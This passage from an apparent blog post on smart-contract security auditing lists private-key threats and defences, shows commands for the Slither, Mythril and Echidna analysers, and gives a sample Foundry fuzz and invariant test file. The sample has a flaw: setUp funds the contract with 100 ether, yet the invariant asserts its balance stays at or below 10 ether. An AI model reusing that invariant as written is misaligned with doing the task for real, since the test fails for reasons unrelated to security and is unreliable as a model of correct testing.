  • Description: Compromise of private keys gives direct control over associated accounts and contracts. This is typically an external vulnerability, but the smart contract might exacerbate it (e.g., if it relies on a single EOA owner for all critical operations).
  • Detection: Poor operational security (OpSec), phishing, malware, insecure handling of mnemonic phrases/keystores.
  • Exploitation:
    • Phishing/Social Engineering: Convince a victim to reveal their seed phrase or private key (e.g., fake websites, malicious DMs).
    • Malware: Keyloggers, clipboard hijackers, infostealers on the victim’s machine.
    • Weak Random Number Generation (for key generation): (Less common for direct key compromise, more for generating predictable keys, but still a risk).
    • Supply Chain Attacks: Compromised software (e.g., malicious NPM package, VS Code extension) injecting code to steal keys.
    • Improper Key Storage: Storing private keys in plaintext, in public repositories, or on insecure servers.
  • Remediation:
    • Hardware wallets (Ledger, Trezor): Best practice for securing significant assets.
    • Multi-signature wallets (e.g., Gnosis Safe): Essential for critical funds, treasury, or contract ownership, requiring multiple approvals for transactions.
    • Strong, unique passwords: For all online accounts, especially those related to crypto.
    • Air-gapped machines: For highly critical operations (e.g., signing multi-sig transactions).
    • Educate users about phishing: Be wary of unsolicited links, messages, and software.
    • Regular Security Audits: For internal systems and practices related to key management.
    • Never share your seed phrase/private key.

Automated Analysis Tools

While manual review is crucial, automated tools assist significantly by finding common patterns and highlighting potential issues.

  • Slither (Recommended Static Analyzer):

    • Installation: pip3 install slither-analyzer

    • Analyze a contract: slither path/to/MyContract.sol

    • Detect specific issues: slither path/to/MyContract.sol --detect reentrancy,access-control

    • Generate call graph: slither path/to/MyContract.sol --print call-graph

    • List detectors: slither --list-detectors

    • Integration with Foundry: You can run Slither on your Foundry project directly.

      1
      
      slither .
      
  • Mythril (Symbolic Execution):

    • Installation: pip3 install mythril

    • Analyze a contract: myth analyze path/to/MyContract.sol

    • Analyze deployed contract (requires Infura/Alchemy API key):

      1
      
      myth analyze -a <contract-address> --rpc <rpc-url> --solc-version <solidity-version>
      
  • Echidna (Fuzzing Tool):

    • Installation: Follow instructions on https://github.com/crytic/echidna. Requires Nix.
    • Usage: Write invariant tests in Solidity, then run Echidna.
      • Example: echidna my_contract_test.sol --contract MyContractTest

Fuzzing & Property-Based Testing

  • Foundry (Foundry Forge Fuzzing): Built-in fuzzing capabilities for Solidity tests. This is a must-have for robust testing.

    • Write a Solidity test function starting with testFuzz_... and include uint, address, bytes, bytes32 (or arrays/structs of these) parameters. Forge will automatically fuzz these inputs within a specified range or domain.

    • Example MyContract.t.sol (with more robust fuzzing assumptions):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      import {Test, console2} from "forge-std/Test.sol";
      import {MyVulnerableContract} from "../src/MyVulnerableContract.sol"; // Adjust path as needed
              
      contract MyVulnerableContractTest is Test {
          MyVulnerableContract public contractInstance;
              
          function setUp() public {
              // Deploy the vulnerable contract for each test
              contractInstance = new MyVulnerableContract();
              // Optionally, fund the contract for tests
              vm.deal(address(contractInstance), 100 ether);
          }
              
          // Fuzz test for deposit and withdrawal logic
          function testFuzz_DepositAndWithdraw(uint256 _depositAmount, uint256 _withdrawAmount, address _hacker) public {
              // Restrict input ranges for more meaningful fuzzing and to avoid OOG
              vm.assume(_depositAmount > 0 && _depositAmount <= 10 ether); // Max 10 ETH deposit
              vm.assume(_withdrawAmount > 0 && _withdrawAmount <= 10 ether); // Max 10 ETH withdraw
              vm.assume(_hacker != address(0));
              vm.assume(_hacker != address(this)); // Prevent fuzzer from using test contract as hacker
              
              // Prank the transaction from the hacker's address
              vm.startPrank(_hacker);
              
              // Deposit phase
              vm.deal(_hacker, _depositAmount); // Ensure hacker has enough ETH to deposit
              contractInstance.deposit{value: _depositAmount}();
              
              // Assert the balance is correctly updated after deposit
              assertEq(contractInstance.balances(_hacker), _depositAmount, "Deposit balance incorrect");
              
              // Withdrawal phase - only if balance is sufficient
              if (contractInstance.balances(_hacker) >= _withdrawAmount) {
                  uint256 hackerEthBalanceBeforeWithdraw = _hacker.balance;
                  uint256 contractBalanceBeforeWithdraw = address(contractInstance).balance;
              
                  contractInstance.withdraw(_withdrawAmount);
              
                  // Assert balance is correctly updated to 0 (assuming full withdraw in victim example)
                  // If victim's withdraw logic sets balance to 0, assert that.
                  // For a more general withdraw function, assert:
                  // assertEq(contractInstance.balances(_hacker), initial_balance - _withdrawAmount);
              
                  // Check if hacker received ETH (reentrancy check would also go here)
                  assertGe(_hacker.balance, hackerEthBalanceBeforeWithdraw + _withdrawAmount - 100); // Allow for gas cost
              
                  // Check if contract's balance decreased
                  assertEq(address(contractInstance).balance, contractBalanceBeforeWithdraw - _withdrawAmount);
              } else {
                  // Test reverts for insufficient balance
                  vm.expectRevert("No balance to withdraw"); // Or specific revert message
                  contractInstance.withdraw(_withdrawAmount);
              }
              
              vm.stopPrank();
          }
              
          // Invariant Test Example: Total supply should always remain constant (if no mint/burn)
          // or total balance across accounts should sum up to total supply
          function invariant_TotalSupplyConsistent() public {
              // This would be more complex for a real token contract
              // Here, let's assume `MyVulnerableContract` has a total supply, or some sum of balances.
              // For the victim contract, it doesn't have a concept of total supply,
              // but you could assert that the sum of all balances + contract's internal balance
              // should not exceed initial funds, or should be drained properly.
              
              // For a simple token, you would check `token.totalSupply()`
              // For a vault, sum of all deposits should equal vault balance
              // Example for Victim: No more than initial balance should be drained (unless reentrancy occurs)
              // This is where fuzzing helps find states where this invariant is broken.
              assertLe(address(contractInstance).balance, 10 ether, "Contract balance should not exceed initial");
              // Or, if targeting reentrancy, an invariant would be:
              // assertEq(contractInstance.balances(hacker_after_withdraw), 0); // If it should be zero
          }
              
          // Fuzz test for access control: ensure only owner can set price
          function testFuzz_SetPriceAccessControl(uint256 _newPrice, address _randomAttacker) public {
              vm.assume(_randomAttacker != address(contractInstance.owner())); // Ensure attacker is not the owner
              vm.assume(_randomAttacker != address(0));
              
              vm.startPrank(_randomAttacker);
              vm.expectRevert("Not owner"); // Assuming Product.sol uses onlyOwner which reverts with this msg
              contractInstance.setPrice(_newPrice);
              vm.stopPrank();
              
              // Verify price remains unchanged by attacker attempt
              assertEq(contractInstance.price(), 1000000000000000000, "Price should not change by non-owner");
          }
      }
      
    • Run fuzz tests: forge test --match-path MyContract.t.sol -vvvv (for verbose output)

    • Run invariant tests: forge test --match-test invariant_

This post is licensed under CC BY 4.0 by the author.